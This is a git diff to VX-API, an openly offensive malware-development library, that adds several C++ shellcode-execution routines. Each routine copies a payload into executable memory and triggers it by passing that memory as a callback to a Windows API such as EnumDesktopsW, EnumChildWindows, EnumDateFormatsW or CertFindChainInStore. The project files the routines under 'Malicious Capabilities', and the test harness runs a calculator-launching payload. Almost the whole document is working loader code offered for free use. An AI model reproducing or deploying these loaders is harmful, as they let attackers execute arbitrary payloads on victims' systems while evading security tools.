diff --git a/README.md b/README.md index 2d4abf1..9c79d26 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ managed by [vx-underground](https://vx-underground.org) | follow us on [Twitter] # VX-API -Version: 2.0.241 +Version: 2.0.252 Developer: smelly__vx @@ -162,6 +162,9 @@ You're free to use this in any manner you please. You do not need to use this en | DelayedExecutionExecuteOnDisplayOff | TryDllMultiMethod | N/A | | GetPidFromWindowsTerminalService | TryDllMultiMethod | N/A | | GetCurrentUserSid | TryDllMultiMethod | N/A | +| ShellcodeExecViaEnumDesktopsW | Fix abstraction | N/A | +| ShellcodeExecViaEnumDesktopWindows | Fix abstraction | N/A | +| ~~ShellcodeExecViaCertFindChainInStore~~ | ~~Buggy, unstable~~ | October 23rd, 2022 | | ~~RecursiveFindFile~~ | ~~TryDllMultiMethod~~ | October 21th, 2022 | | ~~UrlDownloadToFileSynchronous~~ | ~~TryDllMultiMethod~~ | October 21th, 2022 | | ~~CreateFileFromDsCopyFromSharedFileW~~ | ~~Never unloads dll~~ | October 21th, 2022 | diff --git a/VX-API/FunctionDeclaration.h b/VX-API/FunctionDeclaration.h index db200ce..19b02ce 100644 --- a/VX-API/FunctionDeclaration.h +++ b/VX-API/FunctionDeclaration.h @@ -92,4 +92,52 @@ typedef BOOL(WINAPI* CONVERTSIDTOSTRINGSIDA)(PSID, LPSTR*); CRYPT32 IMPORT *******************************************/ typedef BOOL(WINAPI* CERTENUMSYSTEMSTORE)(DWORD, PVOID, PVOID, PFN_CERT_ENUM_SYSTEM_STORE); -typedef BOOL(WINAPI* CERTENUMSYSTEMSTORELOCATION)(DWORD, PVOID, PFN_CERT_ENUM_SYSTEM_STORE_LOCATION); \ No newline at end of file +typedef BOOL(WINAPI* CERTENUMSYSTEMSTORELOCATION)(DWORD, PVOID, PFN_CERT_ENUM_SYSTEM_STORE_LOCATION); +typedef HCERTSTORE(WINAPI* CERTOPENSTORE)(LPCSTR, DWORD, HCRYPTPROV_LEGACY, DWORD, PVOID); +typedef PCCERT_CHAIN_CONTEXT(WINAPI* CERTFINDCHAININSTORE)(HCERTSTORE, DWORD, DWORD, DWORD, PVOID, PCCERT_CHAIN_CONTEXT); +typedef BOOL(WINAPI* CERTCLOSESTORE)(HCERTSTORE, DWORD); + +/* + +#include "Win32Helper.h" + +DWORD UnusedSubroutineDisposeableThread(LPVOID Param) +{ + PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param; + LPVOID BinAddress = NULL; + HMODULE hModule = NULL; + BOOL bFlag = FALSE; + + hModule = TryLoadDllMultiMethodW((PWCHAR)L""); + if (!hModule) + goto EXIT_ROUTINE; + + + BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (BinAddress == NULL) + goto EXIT_ROUTINE; + + CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes); + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (hModule) + FreeLibrary(hModule); + + if (BinAddress) + VirtualFree(BinAddress, 0, MEM_RELEASE); + + return (bFlag ? 0 : 0xffffffff); +} + + +BOOL ShellcodeExecVia(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei) +{ + return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThread, Sei, INFINITE); +} + + + +*/ \ No newline at end of file diff --git a/VX-API/Main.cpp b/VX-API/Main.cpp index ac820c4..6c225c3 100644 --- a/VX-API/Main.cpp +++ b/VX-API/Main.cpp @@ -47,7 +47,7 @@ int main(VOID) Sei.Payload = GlobalOpenCalcPayload; Sei.dwLengthOfPayloadInBytes = 277; - ShellcodeExecViaCertEnumSystemStoreLocation(&Sei); + ShellcodeExecViaEnumDesktopsW(&Sei); return dwError; } diff --git a/VX-API/ShellcodeExecViaCertFindChainInStore.cpp b/VX-API/ShellcodeExecViaCertFindChainInStore.cpp new file mode 100644 index 0000000..adb1470 --- /dev/null +++ b/VX-API/ShellcodeExecViaCertFindChainInStore.cpp @@ -0,0 +1,58 @@ +#include "Win32Helper.h" + +DWORD UnusedSubroutineDisposeableThreadCertFindChainInStore(LPVOID Param) +{ + PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param; + LPVOID BinAddress = NULL; + HMODULE hModule = NULL; + BOOL bFlag = FALSE; + CERTOPENSTORE CertOpenStore = NULL;; + HCERTSTORE hCertStore = NULL; + CERTFINDCHAININSTORE CertFindChainInStore = NULL;; + CERTCLOSESTORE CertCloseStore = NULL;; + CERT_CHAIN_FIND_ISSUER_PARA ChainFind = { 0 }; + + hModule = TryLoadDllMultiMethodW((PWCHAR)L"Crypt32.dll"); + if (!hModule) + goto EXIT_ROUTINE; + + CertOpenStore = (CERTOPENSTORE)GetProcAddressA((DWORD64)hModule, "CertOpenStore"); + CertFindChainInStore = (CERTFINDCHAININSTORE)GetProcAddressA((DWORD64)hModule, "CertFindChainInStore"); + CertCloseStore = (CERTCLOSESTORE)GetProcAddressA((DWORD64)hModule, "CertCloseStore"); + + if (!CertOpenStore || !CertFindChainInStore || !CertCloseStore) + goto EXIT_ROUTINE; + + BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (BinAddress == NULL) + goto EXIT_ROUTINE; + + CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes); + + hCertStore = CertOpenStore(CERT_STORE_PROV_SYSTEM_W, 0, NULL, CERT_SYSTEM_STORE_CURRENT_USER, (PVOID)L"My"); + if (hCertStore == NULL) + goto EXIT_ROUTINE; + + ChainFind.pfnFindCallback = (PFN_CERT_CHAIN_FIND_BY_ISSUER_CALLBACK)BinAddress; + ChainFind.cbSize = sizeof(CERT_CHAIN_FIND_BY_ISSUER_PARA); + + CertFindChainInStore(hCertStore, X509_ASN_ENCODING, 0, CERT_CHAIN_FIND_BY_ISSUER, &ChainFind, NULL); + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (hModule) + FreeLibrary(hModule); + + if (BinAddress) + VirtualFree(BinAddress, 0, MEM_RELEASE); + + return (bFlag ? 0 : 0xffffffff); +} + + +BOOL _unstable__ShellcodeExecViaCertFindChainInStore(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei) +{ + return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadCertFindChainInStore, Sei, INFINITE); +} diff --git a/VX-API/ShellcodeExecViaEnumChildWindows.cpp b/VX-API/ShellcodeExecViaEnumChildWindows.cpp new file mode 100644 index 0000000..23c4a41 --- /dev/null +++ b/VX-API/ShellcodeExecViaEnumChildWindows.cpp @@ -0,0 +1,31 @@ +#include "Win32Helper.h" + +DWORD UnusedSubroutineDisposeableThreadEnumChildWindows(LPVOID Param) +{ + PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param; + LPVOID BinAddress = NULL; + BOOL bFlag = FALSE; + + BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (BinAddress == NULL) + goto EXIT_ROUTINE; + + CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes); + + EnumChildWindows(NULL, (WNDENUMPROC)BinAddress, NULL); + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (BinAddress) + VirtualFree(BinAddress, 0, MEM_RELEASE); + + return (bFlag ? 0 : 0xffffffff); +} + + +BOOL ShellcodeExecViaEnumChildWindows(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei) +{ + return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadEnumChildWindows, Sei, INFINITE); +} \ No newline at end of file diff --git a/VX-API/ShellcodeExecViaEnumDateFormatsW.cpp b/VX-API/ShellcodeExecViaEnumDateFormatsW.cpp new file mode 100644 index 0000000..4472029 --- /dev/null +++ b/VX-API/ShellcodeExecViaEnumDateFormatsW.cpp @@ -0,0 +1,31 @@ +#include "Win32Helper.h" + +DWORD UnusedSubroutineDisposeableThreadEnumDateFormatsW(LPVOID Param) +{ + PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param; + LPVOID BinAddress = NULL; + BOOL bFlag = FALSE; + + BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (BinAddress == NULL) + goto EXIT_ROUTINE; + + CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes); + + EnumDateFormatsW((DATEFMT_ENUMPROCW)BinAddress, LOCALE_SYSTEM_DEFAULT, 0); + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (BinAddress) + VirtualFree(BinAddress, 0, MEM_RELEASE); + + return (bFlag ? 0 : 0xffffffff); +} + + +BOOL ShellcodeExecViaEnumDateFormatsW(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei) +{ + return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadEnumDateFormatsW, Sei, INFINITE); +} \ No newline at end of file diff --git a/VX-API/ShellcodeExecViaEnumDesktopWindows.cpp b/VX-API/ShellcodeExecViaEnumDesktopWindows.cpp new file mode 100644 index 0000000..e2469df --- /dev/null +++ b/VX-API/ShellcodeExecViaEnumDesktopWindows.cpp @@ -0,0 +1,31 @@ +#include "Win32Helper.h" + +DWORD UnusedSubroutineDisposeableThreadEnumDesktopWindows(LPVOID Param) +{ + PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param; + LPVOID BinAddress = NULL; + BOOL bFlag = FALSE; + + BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (BinAddress == NULL) + goto EXIT_ROUTINE; + + CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes); + + EnumDesktopWindows(GetThreadDesktop(GetCurrentThreadId()), (WNDENUMPROC)BinAddress, NULL); + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (BinAddress) + VirtualFree(BinAddress, 0, MEM_RELEASE); + + return (bFlag ? 0 : 0xffffffff); +} + + +BOOL ShellcodeExecViaEnumDesktopWindows(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei) +{ + return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadEnumDesktopWindows, Sei, INFINITE); +} \ No newline at end of file diff --git a/VX-API/ShellcodeExecViaEnumDesktopsW.cpp b/VX-API/ShellcodeExecViaEnumDesktopsW.cpp new file mode 100644 index 0000000..d10eca9 --- /dev/null +++ b/VX-API/ShellcodeExecViaEnumDesktopsW.cpp @@ -0,0 +1,31 @@ +#include "Win32Helper.h" + +DWORD UnusedSubroutineDisposeableThreadEnumDesktopsW(LPVOID Param) +{ + PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param; + LPVOID BinAddress = NULL; + BOOL bFlag = FALSE; + + BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (BinAddress == NULL) + goto EXIT_ROUTINE; + + CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes); + + EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)BinAddress, NULL); + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (BinAddress) + VirtualFree(BinAddress, 0, MEM_RELEASE); + + return (bFlag ? 0 : 0xffffffff); +} + + +BOOL ShellcodeExecViaEnumDesktopsW(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei) +{ + return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadEnumDesktopsW, Sei, INFINITE); +} \ No newline at end of file diff --git a/VX-API/VX-API.vcxproj b/VX-API/VX-API.vcxproj index 107961e..2f241f1 100644 --- a/VX-API/VX-API.vcxproj +++ b/VX-API/VX-API.vcxproj @@ -225,6 +225,11 @@ + + + + + diff --git a/VX-API/VX-API.vcxproj.filters b/VX-API/VX-API.vcxproj.filters index 98d88a8..d0e7e70 100644 --- a/VX-API/VX-API.vcxproj.filters +++ b/VX-API/VX-API.vcxproj.filters @@ -396,6 +396,21 @@ Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback + + Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback + + + Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback + + + Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback + + + Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback + + + Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback + diff --git a/VX-API/Win32Helper.h b/VX-API/Win32Helper.h index 89301c5..bf7f2d0 100644 --- a/VX-API/Win32Helper.h +++ b/VX-API/Win32Helper.h @@ -162,7 +162,11 @@ DWORD MpfGetLsaPidFromServiceManager(VOID); BOOL ShellcodeExecViaCertEnumSystemStore(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei); BOOL ShellcodeExecViaCDefFolderMenu_Create2(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei); BOOL ShellcodeExecViaCertEnumSystemStoreLocation(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei); - +BOOL _unstable__ShellcodeExecViaCertFindChainInStore(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei); +BOOL ShellcodeExecViaEnumChildWindows(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei); +BOOL ShellcodeExecViaEnumDateFormatsW(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei); +BOOL ShellcodeExecViaEnumDesktopWindows(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei); +BOOL ShellcodeExecViaEnumDesktopsW(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei); //evasion BOOL CreateProcessWithCfGuardW(_Inout_ PPROCESS_INFORMATION Pi, _In_ PWCHAR Path);